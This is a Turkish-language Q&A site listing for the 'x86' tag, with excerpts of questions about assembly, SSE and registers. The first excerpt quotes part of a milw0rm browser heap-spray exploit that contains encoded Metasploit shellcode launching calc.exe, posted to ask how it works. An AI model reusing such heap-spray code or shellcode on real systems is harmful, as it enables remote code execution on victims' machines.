«x86» etiketlenmiş sorular

x86, Intel 8086 CPU'dan türetilen bir mimaridir. X86 ailesi, 32 bit IA-32 ve 64 bit x86-64 mimarilerinin yanı sıra eski 16 bit mimarileri içerir. İkincisi ile ilgili sorular [x86-16] ve / veya [emu8086] olarak etiketlenmelidir. Sorunuz 64 bit x86-64'e özelse [x86-64] etiketini kullanın. X86 FPU için [x87] etiketini kullanın. SSE1 / 2/3/4 / AVX * için ayrıca [sse] ve geçerli olan [avx] / [avx2] / [avx512] seçeneklerinden herhangi birini kullanın


7
Bu milw0rm yığın püskürtme istismarı nasıl çalışır?
Genelde JavaScript kodunu okumakta zorluk çekmiyorum ama bunun için mantığı çözemiyorum. Kod, 4 gün önce yayınlanan bir güvenlik açığından alınmıştır. Milw0rm'de bulabilirsiniz . İşte kod: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, …




3
X86'daki "geçici olmayan" bellek erişimlerinin anlamı nedir
Bu biraz düşük seviyeli bir sorudur. X86 montajında ​​iki SSE talimatı vardır: MOVDQA xmmi, m128 ve MOVNTDQA xmmi, m128 IA-32 Yazılım Geliştirici Kılavuzu , MOVNTDQA'daki NT'nin Geçici Olmayan anlamına geldiğini ve aksi takdirde MOVDQA ile aynı olduğunu söyler. Sorum şu, Zamansal Olmayan ne anlama geliyor?
123 x86  sse  assembly 



5
ESI ve EDI kayıtlarının amacı?
Assembler'da EDI & ESI kayıtlarının asıl amacı ve kullanımı nedir? Bir şey için dizi işlemleri için kullanıldığını biliyorum. Birisi de bir örnek verebilir mi?
119 assembly  x86 

3
32-bit yazmaçlar üzerindeki x86-64 talimatları, tam 64-bit yazmaçların üst kısmını neden sıfırlıyor?
In Intel Kılavuzları X86-64 Tour , okuduğum Belki de en şaşırtıcı gerçek, gibi bir komutun MOV EAX, EBXotomatik olarak üst 32 bitlik RAXyazmacı sıfırlamasıdır . Aynı kaynakta alıntılanan Intel belgeleri (3.4.1.1 Kılavuz Temel Mimaride 64-Bit Modunda Genel Amaçlı Kayıtlar) bize şunları söyler: 64 bitlik işlenenler, hedef genel amaçlı kayıtta 64 …

8
eax'a karşı "test" eax?
Bazı meclisleri anlamaya çalışıyorum. Montaj aşağıdaki gibi, testlsatırla ilgileniyorum : 000319df 8b4508 movl 0x08(%ebp), %eax 000319e2 8b4004 movl 0x04(%eax), %eax 000319e5 85c0 testl %eax, %eax 000319e7 7407 je 0x000319f0 Ben o noktayı anlamaya çalışıyorum testlarasında %eaxve %eax? Bu kodun ayrıntılarının önemli olmadığını düşünüyorum, sadece testi kendi başına anlamaya çalışıyorum - …

11
Ubuntu 14.04 LTS'ye (Trusty Tahr) ia32-libs nasıl kurulur
Dün Ubuntu 14.04'ü (Trusty Tahr) kurdum. Herşey yolunda görünüyor. Ancak bazı C kodunu derlemeye çalıştığımda aşağıdaki hatayla karşılaşıyorum. Hata, 32 bit mimari desteğinden yoksun işletim sisteminden kaynaklanıyor gibi görünüyor. Hata çıktısı aşağıdaki gibidir: /usr/bin/ld: i386 architecture of input file `./libsc.a(ftl_msg.o)' is incompatible with i386:x86-64 output /usr/bin/ld: i386 architecture of input …
115 ubuntu  x86 

6
SSE skaler sqrt (x) neden rsqrt (x) * x'ten daha yavaş?
Intel Core Duo'da bazı temel matematiğimizin profilini çıkarıyorum ve karekök için çeşitli yaklaşımlara bakarken tuhaf bir şey fark ettim: SSE skaler işlemlerini kullanarak, karşılıklı bir karekök alıp çarpmak daha hızlı sqrt'yi elde etmek için, yerel sqrt opcode kullanmaktan çok! Şunun gibi bir döngü ile test ediyorum: inline float TestSqrtFunction( float …

10
X86 neden çirkin? Neden diğerlerine kıyasla daha aşağı kabul ediliyor? [kapalı]
Şu anda olduğu gibi, bu soru Soru-Cevap formatımız için uygun değil. Cevapların gerçekler, referanslar veya uzmanlıkla desteklenmesini bekliyoruz, ancak bu soru büyük olasılıkla münazara, argümanlar, anketler veya uzun tartışmalar gerektirecektir. Bu sorunun iyileştirilebileceğini ve muhtemelen yeniden açılabileceğini düşünüyorsanız, rehberlik için yardım merkezini ziyaret edin . 8 yıl önce kapalı . …

5
"FS" / "GS" yazmacının amacı nedir?
Bu nedenle, aşağıdaki kayıtların ve kullanımlarının ne olması gerektiğini biliyorum: CS = Kod Segmenti (IP için kullanılır) DS = Veri Segmenti (MOV için kullanılır) ES = Hedef Segment (MOVS vb. İçin kullanılır) SS = Yığın Segmenti (SP için kullanılır) Ancak aşağıdaki yazmaçların ne için kullanılması amaçlanmıştır? FS = "Dosya Segmenti"? …

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.